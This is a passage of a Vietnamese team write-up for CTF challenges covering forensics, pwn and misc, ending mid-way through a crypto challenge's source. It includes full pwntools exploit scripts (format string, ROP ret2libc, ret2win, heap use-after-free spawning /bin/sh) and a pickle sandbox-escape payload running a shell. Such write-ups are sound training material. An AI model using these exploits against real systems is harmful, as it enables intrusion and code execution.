7RshhIeM0Km6jjNY3jEeZnBE7rgri1oQeW2A1NKzWPMYk61pojO6WLl297HVx+0C197ElaFaWfFrOZvI7QKE9pEPlxSgu75YA6aAzUN+h0nFySgne/dBxI+8BEBXhZZSuPPZyrGSAq/QugdhwbEcxXE5A/21GxotETOOqwQuMZd8i8NMJVEpVQFwTvKSgzPOl/1pbvd8lvSpKijQwOQE0/Uonfol7EkTBa03px5JrqXtpdoSlf9HQUXsBK4H24UDixCJgPX4XMOjLyx10RTaWzasmefuD0yEYBa0rdEZUt2IR0BKk4ybcXcoRhCR1mh0Eq6Omw3jvLtSXXkDkUKExlE5oFYjC+ic/Dlup6+1goHHAatH4F/j9Wh190b+JjtrXKgEbh+1jlw+opItYpkfai90O6ztO10CJuqiP77X73cFQ6t9GOo4mLpDXw7N6o37lzr4cwo/WQup9E+Rbql048E6Luf7QJWA+8hwnS9hWHwGL3RFOrok4riHRiwnbBepqhMaTqdFgjoRyoECrUzZyJ2Jzns1tJJeQO1QfQcLjw4q4cgBEIQvZYXx9kO0g3hcUM3FlE9RIwCoVRSAnmM+j4hdeO0VK8LLy5oysOuk5y0XOu338oX9VF7iThTDvhicF2EYiOy6JgYN+rCG6lC40GMMcYiZ3ymZ8mfLkTlV07ULu1cqjUA+jtGXJwnWuitXoPLF3SOBBAUQ4DOeYEGC5mgCbX03ZxhGghoQNOZOu5BLVuX30YgMvh/7KHN3TMS5EROoQPB5pVOH7z/XzdCLsGj2wTpIdPeRWqn2sCS9Goja7kA1TqF3qlo9WsbmFRtzRqN0g9pD+eVwTvARDblgAB5cviu0skulwHKldydwCDofryM1JaLZ+il2xd07lQLLaasPGvRdkn+93KEUQ0dBE500COH8YmMRt0uomM6KsEzrg4aCJU06usCRk5ckllwz2rmAFkN+KMFcuwQRdHR57Lzz6bmuFboOfaOhNH6VkBpp9Zp4c279DiKQngmug/GvegPZCg7NcSr1UOOhfLP7ZNmuT7o5VzqkqJtBUnLUyX3/3hdrMPrfsiJ36bqLk5TK4scaNUbaxaFsDM9bjxmWCjavOM46UOylM3hbxN6R50d3MHKSRunZfndpN/GV/nNSovNfQK8kT3xjUahNZTz7sWEdLoOcuYCk1H1UOB97j4r3mw7PExi8YRI9MjvsyzJQTZyrWc6R0rHbfRPHGQYlVCuqxwvAcoiTkq/Y+4M6U9FG9yxA10oQH1d7HIuM3M1EW0kPT+quYKtMS08BQLTTKZMtMkm0E=";
    return r
}

:)) Nhận diện thuật toán, sau khi đọc 1 hồi mình nhìn ra ngay 2 hàm kia để decode base64 và rc4, mình sẽ decrypt biến r luôn. Quay trở lại con vbs, ta có key rc4 là argv[1] truyền vào file js, chính là đoạn này:

image

Decrypt thôi:

image

Tại code sau khi decrypt này, ta thấy luôn flag trong đó, decode ra:

image

Flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}

It_Has_Begun

credit: Nex0

Đề cho ta 1 file bash. Dễ dàng thấy 2 phần flag trong pcname và đoạn được cho vào crontab:

2: NG5kX3kwdVJfR3IwdU5kISF9

1: tS_u0y_ll1w{BTH

Flag: HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}

Phreaky

credit: Nex0

Đề cấp 1 file pcap, đại khái là nó truyền file bằng cách zip, set password rồi base64 lại. Khá troll vì không đọc được trường :(. Mình code quick script sau để dump data ra:

import os
from base64 import b64decode
os.system('strings phreaky.pcap | grep Password > password')
os.system('tshark -nr phreaky.pcap -Y "smtp && imf" -T fields -e media.type | tr -d "\n" | xxd -r -p > data.txt')
with open("data.txt", "r") as f:
    data = f.readlines()
password = open("password", "r").readlines()
password= [i[42:-1] for i in password]
trigger = 0
seq = ""
j = 0
for i in range(len(data)):
    if len(data[i]) == 77:
        seq += data[i].replace("\n", "")
    else:
        seq += data[i].replace("\n", "")
        print(b64decode(seq))
        with open("temp.zip", "wb") as f:
            print(password[j])
            f.write(b64decode(seq))
        os.system(f'unzip -P "{password[j]}" temp.zip')
        j += 1
        seq = ""

with open("final.pdf", "wb") as f:
    for i in range(1, 16):
        data = open(f"phreaks_plan.pdf.part{i}", "rb").read()
        f.write(data)

Result:

image

Flag: HTB{Th3Phr3aksReadyT0Att4ck}

Pursue The Tracks

credit: Nex0

Đề cho 1 file mft. Sử dụng tool MFTecmd để parse thành csv:

image

  1. Files are related to two years, which are those? (for example: 1993,1995)

Dễ thấy 2 năm đó luôn:

image

Ans: 2023,2024

  1. There are some documents, which is the name of the first file written? (for example: randomname.pdf)

Ans: Final_Annual_Report.xlsx

  1. Which file was deleted? (for example: randomname.pdf)

Ta thấy Marketing_Plan.xlsx có trường Inuse là False, tức là đã bị xóa:

image

Ans: Marketing_Plan.xlsx

  1. How many of them have been set in Hidden mode? (for example: 43)

Trừ các file hệ thống ra, thì có duy nhất file credentials.txt ở Hidden mode.

Ans: 1

  1. Which is the filename of the important TXT file that was created? (for example: randomname.txt)

Ans: credentials.txt

  1. A file was also copied, which is the new filename? (for example: randomname.pdf)

Check trường IsCopied xem cái nào True, ta được đáp án:

Ans: Financial_Statement_draft.xlsx

  1. Which file was modified after creation? (for example: randomname.pdf)

Ta check time Created với LastRecordChange, chỉ có 1 file là có thời gian LastRecordChange mới hơn.

Ans: Project_Proposal.pdf

  1. What is the name of the file located at record number 45? (for example: randomname.pdf)

Ans: Annual_Report.xlsx

  1. What is the size of the file located at record number 40? (for example: 1337)

Ans: 57344

Flag: HTB{p4rs1ng_mft_1s_v3ry_1mp0rt4nt_s0m3t1m3s}

Urgent

credit: Nex0

Đề cho 1 file EML, kèm 1 attachment html. Ta tiến hành phân tích:

Html chứa unescaped character:

image

Decode nó ra:

image

Đại khái là mở powershell tải malware về ngay khi windows onload thôi, flag ngay trong code:

Flag: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}

Oblique Final

credit: Nex0

Đoạn sau của bài mình solve khá randomly, nên wu này mình có điều chỉnh sau khi đọc official wu của giải 🐸

Đề cho ta 1 file Hiberfil.sys - file lưu thông tin tất tần tật các thứ trên máy ở trạng thái hiện tại khi nó bắt đầu vào mode ngủ đông 💤

Và vì thế nó cũng na ná memdump thôi <("), mình convert qua dạng raw mem trước. Mình sử dụng bản volatility 3 branch build này để lấy thêm 2 plugin hibernation:

https://github.com/forensicxlab/volatility3

Convert:

image

Sau đó load vào xem pslist, dễ thấy 1 sus proc tên TheGame.exe, cũng phù hợp với mô tả của bài :)) :

image

Sau khi filescan string grep, ngoài ra cũng có thể dùng dlllist lên proc này, ta thấy rất nhiều dll cùng nằm trong folder chứa exe. Ngoài ra trong đó còn có coreclr.dll, mà dựa theo docs trong repo đã archived của Microsoft, define như này:

CoreCLR is the runtime for .NET Core. It includes the garbage collector, JIT compiler, primitive data types and low-level classes.

Vì thế nên đây là 1 .NET project, vì nó chứa core runtime, JIT compiler,..tự làm tự ăn. Ngoài ra, Coreclr như ta biết ở trên, là "runtime for .NET Core". .NET Core là cross-platform của .NET: https://learn.microsoft.com/en-us/archive/msdn-magazine/2016/april/net-core-net-goes-cross-platform-with-net-core. Thì theo đó, thông thường con exe sẽ là executable của project luôn, tuy nhiên trong cross-platform, nó chỉ là loader cho con dll. Hoặc ta dump cả 2 con ra rồi check file type cũng được :v :

image

Phân tích .NET bằng DNSpy, tuy nhiên hàm main lại không decompile ra gì được, lỗi. Khi đổi sang Intermediate language, ta thấy 1 mớ dài nop opcode:

image

Ngoài ra dựa vào hint từ đề bài và từ 1 người bạn, ngoài ra check structure của TheGame.dll, ta cũng có thể thấy ReadyToRun header, mình biết được đây là R2R stomping, nó giấu code bằng cách thay các opcode về nop trước các trình decompile như dnspy, ilspy. Thế thì mình đã làm như thế nào? Mình load PE vào IDA và F5 :v Nó thực hiện xor 2 array, mà khi ta xor xong, sẽ được 1 command có kèm flag.


PWN

Delulu

credit: LucPhan

  • Check file + checksec + IDA

image

image

  • IDA

image

image

  • BUG:

    • Lỗi format string : printf((const char *)buf);

    • Lỗi buffer overflow : read(0, buf, 31uLL);

    • Có hàm in flag delulu()

  • Khai thác:

    • Dùng lỗi format string để thay đổi gtri biến v4[0] = 0x1337babe -> 0x1337beef -> gọi hàm delulu in flag

    • Nhập buffer ở read rồi dùng ở printf lỗi format string.

    • Do v4[0] = 0x1337babe nên chỉ cần overwrite 2 byte cuối.

  • Script:

    from pwn import *

    #p = remote("83.136.252.82",32291)
    p = process('./delulu')

    payload = f'%{0xbeef}c%7$hn'.encode()
    payload += p64(0x00)

    p.sendline(payload)

    p.interactive()

Writing on the wall

credit: LucPhan

  • Check file + checksec + IDA

    image

    image

    • IDA

      image

      image

  • BUG:

    • Lỗi off by one : read(0, buf, 7uLL) khi chỉ khai báo char buf[6]

    • Có hàm lấy flag open_door

  • Khai thác:

    • Debug xem có thể dùng buffer overflow overwrite tới đâu

      • Trước khi read

        image

      • Sau khi read

        image

    • Sau khi debug, ta thấy phần thừa (1byte) sẽ overwrite byte đầu tiên của biến s2 (s2 dùng so sánh với buf để gọi hàm lấy flag) -> Ý tưởng: làm cho cả buf và s2 đều có byte đầu là NULL để khi strcmp sẽ giống nhau.

  • Script

    from pwn import *

    #p = remote("94.237.55.42",43749)

    p = process("./chall")
    payload = b'\x00\x41\x41\x41\x41\x41\x00'

    p.sendline(payload)

    p.interactive()

Pet companion

credit: LucPhan

  • Check file + checksec + IDA

    image

    • IDA

      image

  • BUG:

    • Lỗi buffer overflow : read(0, buf, 256uLL) trong khi khai báo __int64 buf[8] -> Ý tưởng: ret2libc
  • Khai thác:

    • Tính offset để overwrite saved rip:

      • Nhập buf ở hàm read để xem vị trí buf trên stack

        image

      • Tìm vị trí saved rip trên stack

        image

        -> offset = 72byte

    • Leak libc:

      • Dùng hàm puts hoặc 1 hàm tương tự in ra địa chỉ 1 hàm trong libc.

      • Thay đổi rsi thành write@got để in ra địa chỉ libc của write bằng cách gọi write@plt

    • Lấy shell:

      • Thay đổi rdi (tham số của hàm system) thành địa chỉ của "/bin/sh"

      • Gọi hàm system trong libc sau khi đã có địa chỉ cơ sở của libc

  • Script:

    from pwn import *

    context.binary = exe = ELF("./chall_patched",checksec=False)
    libc = ELF("./libc.so.6",checksec=False)
    ld = ELF("./ld-linux-x86-64.so.2",checksec=False)


    #p = remote('94.237.51.203',59602)
    p = process(exe.path)
    poprsi = 0x0000000000400741
    offset_rip =  72
    poprdi = 0x0000000000400743
    ret = 0x00000000004004de

    ####################### LIBC LEAK ######################

    payload=b'a'*offset_rip
    payload+=p64(poprsi) + p64(exe.got['write']) + p64(0x00)
    payload+=p64(exe.plt['write'])
    payload+=p64(exe.sym['main'])
    p.sendafter(b'status: ',payload)
    p.recvuntil(b"Configuring...\n\n")
    leak = int.from_bytes(p.recv(6),"little")
    print('[+] LEAK:',hex(leak))
    libc.address = leak - libc.sym['write']
    print('[+] LIBC ADDRESS:',hex(libc.address))

    ######################## GET SHELL #####################

    payload2 = b'A'*offset_rip
    payload2 += p64(poprdi) + p64(next(libc.search(b'/bin/sh')))
    payload2 += p64(libc.sym['system'])

    p.sendafter(b'status: ',payload2)

    p.interactive()

Rocket blaster xxx

credit: LucPhan

credit: LucPhan

  • Check file + checksec + IDA

    image

    • IDA

      image

      image

  • BUG:

    • Lỗi buffer overflow : read(0, buf, 102uLL) khi chỉ khai báo `__int64 buf[4]'

    • Có hàm lấy flag fill_ammo -> ý tưởng: ret2win

  • Khai thác:

    • Tính offset để overwrite saved rip

      • Nhập buf ở hàm read để xem vị trí buf trên stack

        image

      • Tìm vị trí saved rip trên stack

        image

-> offset = 40byte

  • Lấy địa chỉ của hàm fill_ammo

  • Tuy nhiên, ở hàm fill_ammo vẫn cần phải thỏa mãn 1 số điều kiện để đọc được flag:

    • Challenge bắt chúng ta phải làm cho tham số: a1,a2,a3 lần lượt bằng 0xdeadbeef, 0xdeadbabe, 0xdead1337.

    • Kiểm tra mã assembly của fill_ammo:

      image

      image

    • Hàm fill_ammo thực hiện so sánh rax với các vùng nhớ. Ta thấy các vùng nhớ này được điều khiển bởi các thanh ghi rdi, rsi, rdx. -> Dùng ROP để thay đổi giá trị các thanh ghi -> thay đổi các vùng nhớ này

  • Script
    from pwn import *

    #p = remote('94.237.53.53',37903)
    p = process("./chall")
    poprdi = 0x000000000040159f
    poprsi = 0x000000000040159d
    poprdx = 0x000000000040159b

    win = 0x00000000004012fd
    payload=b'a'*(40-8)
    payload+=p64(0x0000000000405500)
    payload+=p64(poprdi)+p64(0xDEADBEEF)
    payload+=p64(poprsi)+p64(0xDEADBABE)
    payload+=p64(poprdx)+p64(0xDEAD1337)
    payload+=p64(win)

    p.sendlineafter(b'>> ',payload)

    p.interactive()

Sound of silence

credit: LucPhan

  • Check file + checksec + IDA

    image

    • IDA

      image

  • BUG:

    • Lỗi buffer overflow : return gets(v4, argv) - hàm gets() không kiểm tra số lượng byte nhập vào.
  • Khai thác:

    • Debug chương trình:

      • Chương trình mov rdi, rax

      • Sau khi gets() : chương trình sẽ đưa địa chỉ của buf vào rax

      • Chương trình trước khi gọi hàm system() : có lệnh mov rdi, rax

    • Hướng khai thác: ta sẽ nhập chuỗi "/bin/sh" vào v4 -> overwrite saved RIP thành địa chỉ mov rdi, rax

    • Tính offset để overwrite saved RIP

      • Nhập v4 và xem địa chỉ trên stack:

        image

      • Dùng ở lệnh ret và xem địa chỉ saved RIP:

        image

-> offset = 32

  • Script
    from pwn import *

    exe = ELF("./chall_patched",checksec=False)
    libc = ELF("./libc.so.6",checksec=False)
    ld = ELF("./ld-linux-x86-64.so.2",checksec=False)

    context.binary = exe
    #p = remote('94.237.54.30',42921)
    p = process(exe.path)
    mov_rdi_rax = 0x0000000000401169
    ret = 0x000000000040101a
    payload=p64(0x0068732f6e69622f)
    payload+=b'\x00'*32
    payload += p64(ret)
    payload += p64(ret)
    payload+=p64(mov_rdi_rax)

    p.sendline(payload)
    p.interactive()

Deathnote

credit: Naooooooooooooo

Đầu tiên ở chương trình sẽ có 1 mảng gốm 10 entries

Screenshot 2024-03-22 192736

Sau đó là 1 vòng lặp vô hạn vs các option

Screenshot 2024-03-22 192829

  • Hàm add

Screenshot 2024-03-22 192915

Nó chỉ đơn giản là chọn size và index trong entries để set

Index không có out òf bound và size bị giới hạn trong khoảng 1 đến 0x80

Ở đây ta thấy nó ko khởi tạo giá trị khi malloc nên sẽ còn xót lại những giá trị rác nên có thể dùng để leak

  • Hàm show

Screenshot 2024-03-22 193125

Chỉ đơn giản là in dữ liệu của 1 entry

Hàm delete

Screenshot 2024-03-22 193159

Ở đây ta thấy nó free rồi nhưng mà ko clear giá trị trong entries nên ở đây ta có bug use after free

Có 1 lựa chọn nữa khi chúng ta nhập option *

Screenshot 2024-03-22 193314

Nó sẽ gọi hàm mà entries[0] trỏ vào và tham số là entries[1], vậy nếu entries[0] chứa system còn entries[1] chứa '/bin/sh thì ta thắng.

Exploit

Ở đây mk free 8 chunks để làm đầy tcache rồi chúng ta sẽ có libc

for i in range(9):
    add(0x80, i, b'A')
for i in range(8):
    delete(i)
show(7)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 2206944
print('libc: ', hex(libc.address))

Như vậy thì chỉ cần tạo entries[0] vs entries[1] nữa là xong

from pwn import *

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)

elf = context.binary = ELF('deathnote')
libc = ELF('./glibc/libc.so.6')

def add(size, idx, content):
    sla(b'entry', b'1')
    sla(b'request', str(size).encode())
    sla(b'Page', str(idx).encode())
    sa(b'victim:', content)
def show(idx):
    sla(b'entry', b'3')
    sla(b'Page', str(idx).encode())
def delete(idx):
    sla(b'entry', b'2')
    sla(b'Page', str(idx).encode())
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val



#context.log_level = 'debug'

#p = process()
p = remote('94.237.58.211', 55260)
#gdb.attach(p, gdbscript='''
#           b show
#           b _
#           c''')

add(0x10, 0, b'A')
add(0x10, 1, b'A')
delete(0)
delete(1)
show(1)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
leak = deobfuscate(leak)
print('leak: ', hex(leak))
heap = leak - 1712
print('heap: ', hex(heap))
for i in range(9):
    add(0x80, i, b'A')
for i in range(8):
    delete(i)
show(7)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 2206944
print('libc: ', hex(libc.address))
add(0x10, 0, hex(libc.symbols['system']).encode())
add(0x10, 1, b'/bin/sh\x00')
p.sendlineafter(b'entry', b'42')


p.interactive()

MISC

Were Pickle Phreaks

credit: MacHongNam

Analysis

Source code:

app.py:

# python 3.8
from sandbox import unpickle, pickle
import random

members = []

class Phreaks:
    def __init__(self, hacker_handle, category, id):
        self.hacker_handle = hacker_handle
        self.category = category
        self.id = id

    def display_info(self):
        print('================ ==============')
        print(f'Hacker Handle    {self.hacker_handle}')
        print('================ ==============')
        print(f'Category         {self.category}')
        print(f'Id               {self.id}')
        print()

def menu():
    print('Phreaks member registration v2')
    print('1. View current members')
    print('2. Register new member')
    print('3. Exit')

def add_existing_members():
    members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))

def view_members():
    for member in members:
        try:
            member = unpickle(member)
            member.display_info()
        except Exception as e:
            print('Invalid Phreaks member', e)

def register_member():
    pickle_data = input('Enter new member data: ')
    members.append(pickle_data)

def main():
    add_existing_members()
    while True:
        menu()
        try:
            option = int(input('> '))
        except ValueError:
            print('Invalid input')
            print()
            continue
        if option == 1:
            view_members()
        elif option == 2:
            register_member()
        elif option == 3:
            print('Exiting...')
            exit()
        else:
            print('No such option')
        print()

if __name__ == '__main__':
    main()

Đây là một chương trình với 2 chức năng cơ bản:

  • view_members(): thực hiện deserialize và hiển thị các đối tượng

  • register_member(): nhận input là dạng base64 của 1 đối tượng sau khi đã serialize

sandbox.py:

from base64 import b64decode, b64encode 
from io import BytesIO
import pickle as _pickle

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']

class RestrictedUnpickler(_pickle.Unpickler):
    def find_class(self, module, name):
        print(module, name)
        if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
            return super().find_class(module, name)
        raise _pickle.UnpicklingError()

def unpickle(data):
    return RestrictedUnpickler(BytesIO(b64decode(data))).load()

def pickle(obj):
    return b64encode(_pickle.dumps(obj))
  • Ở đây, class RestrictedUnpickler kế thừa từ _pickle.Unpickler, định nghĩa phương thức findclass() thực hiện detect các module và name được cho phép. Trong pickle, phương thức find_class() có source code như sau:
def find_class(self, module, name):
    # Subclasses may override this.
    sys.audit('pickle.find_class', module, name)
    if self.proto < 3 and self.fix_imports:
        if (module, name) in _compat_pickle.NAME_MAPPING:
            module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        elif module in _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    __import__(module, level=0)
    if self.proto >= 4:
        return _getattribute(sys.modules[module], name)[0]
    else:
        return getattr(sys.modules[module], name)

Nó được dùng để tìm và nhập các module được chỉ định trong dữ liệu đã được pickled. RestrictedUnpickler hook vào phương thức find_class() để thực hiện sàng lọc các module. Ở đây các module được cho phép là __main__, app và name bị cấm là __builtins__

Solution

Trong python, các module liên kết với nhau, do đó từ __main__, app chúng ta có thể nhập các module khác. Sử dụng dir() để check xem __main__ có những module nào:

image

Chú ý một chút thì đoạn code filter khá lỏng lẻo:

if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):

Nó chỉ check xem name có bắt đầu bằng __builtins__. hay không, do đó mình có thể bypass bằng __setattr__ để đổi name của __builtins__ thành một ký tự khác. Mình sử dụng Pickora để compile python pickle scripts, Pickle sử dụng GLOBAL để nhập module.

Solve script:

from pickora import Compiler
from base64 import b64encode

def main():
    return 1

if __name__ == '__main__':
    compiler = Compiler()
    payload = b"setattr = GLOBAL('__main__', '__setattr__');"
    payload += b"builtins = GLOBAL('__main__','__builtins__');"
    payload += b"setattr('e',builtins);"
    payload += b"GLOBAL('__main__','e.eval')(\"__import__('os').system('sh')\")"
    print(b64encode(compiler.compile(payload)).decode())

Giải thích một chút, GLOBAL('__main__', '__setattr__') lấy function __main__.__setattr__ và gán vào biến setattr, tương tự là builtins. setattr('e',builtins) thực hiện set function __main__.__builtins__ thành e và cuối cùng là gọi e.eval để thực thi code python __import__('os').system('sh').

image

image

Were Pickle Phreaks Revenge

credit: MacHongNam

Source code không thay đổi, thay đổi duy nhất đến từ sandbox.py:

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']

Có lẽ hướng intended của challege Were Pickle Phreaks là sử dụng module random để thực hiện call các module khác:

image

Ở đây có thể sử dụng module _os để gọi hàm system():

image

Cách của mình không sử dụng đến module random nên có thể bypass luôn challenge này:

image

Character

credit: MinhFanBoy

TASK

Mình kết nối đến sever thì được yêu cầu nhập một số và số ta sẽ nhận lại được flag tại vị trí đó. Nên mình viết một script đơn giản để gửi tất cả các số tới khi nhận được ký tự "}".

from pwn import *

def main() -> None:
    i = 0
    s = remote("83.136.252.194", 57105)

    while True:
        s.recvuntil(b"Enter an index: ")

        s.sendline(f"{i}".encode())

        s.recvuntil(f"at Index {i}: ".encode())
        print(s.recvline()[:-1].decode(), end="", flush=True)
        i += 1

if __name__ == "__main__":
    main()

Unbreakable

credit: MinhFanBoy

SOURCE:

#!/usr/bin/python3

banner1 = '''
                   __ooooooooo__
              oOOOOOOOOOOOOOOOOOOOOOo
          oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
       oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
     oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
   oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
  oOOOOOOOOOOO*  *OOOOOOOOOOOOOO*  *OOOOOOOOOOOOo
 oOOOOOOOOOOO      OOOOOOOOOOOO      OOOOOOOOOOOOo
 oOOOOOOOOOOOOo  oOOOOOOOOOOOOOOo  oOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOO     OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO     OOOOo
oOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOo
 *OOOOO  OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO  OOOOO*
 *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
  *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
   *OOOOOOo  *OOOOOOOOOOOOOOOOOOOOOOO*  oOOOOOO*
     *OOOOOOOo  *OOOOOOOOOOOOOOOOO*  oOOOOOOO*
       *OOOOOOOOo  *OOOOOOOOOOO*  oOOOOOOOO*      
          *OOOOOOOOo           oOOOOOOOO*      
              *OOOOOOOOOOOOOOOOOOOOO*          
                   ""ooooooooo""
'''

banner2 = '''
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠻⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⢀⠀⠀⠀⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⣼⣰⢷⡤⠀⠈⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣇⠀⠉⣿⠈⢻⡀⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢹⡀⠀⢷⡀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠀⠘⣧⠀⢸⡇⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣤⠶⠾⠿⢷⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡆⠀⠘⣦⠀⣇⠀⠘⣿⣤⣶⡶⠶⠛⠛⠛⠛⠶⠶⣤⣾⠋⠀⠀⠀⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣄⠀⠘⣦⣿⠀⠀⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡟⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣦⠀⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⢠⣿⠏⠁⠀⢀⡴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⠀⠀⠀⠀⠀⠀⠀⢰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢠⠶⠛⠉⢀⣄⠀⠀⠀⢀⣿⠃⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣀⣠⡶⠟⠋⠁⠀⠀⠀⣼⡇⠀⢠⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⣀⣀⣠⠿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠋⠁⠀⠀⠀⠀⣀⣤⣤⣿⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠀⠀⢻⡇⠀⠀⠀⠀⢠⣄⠀⢶⣄⠀⠀⠀⠀⠀⠀⠀
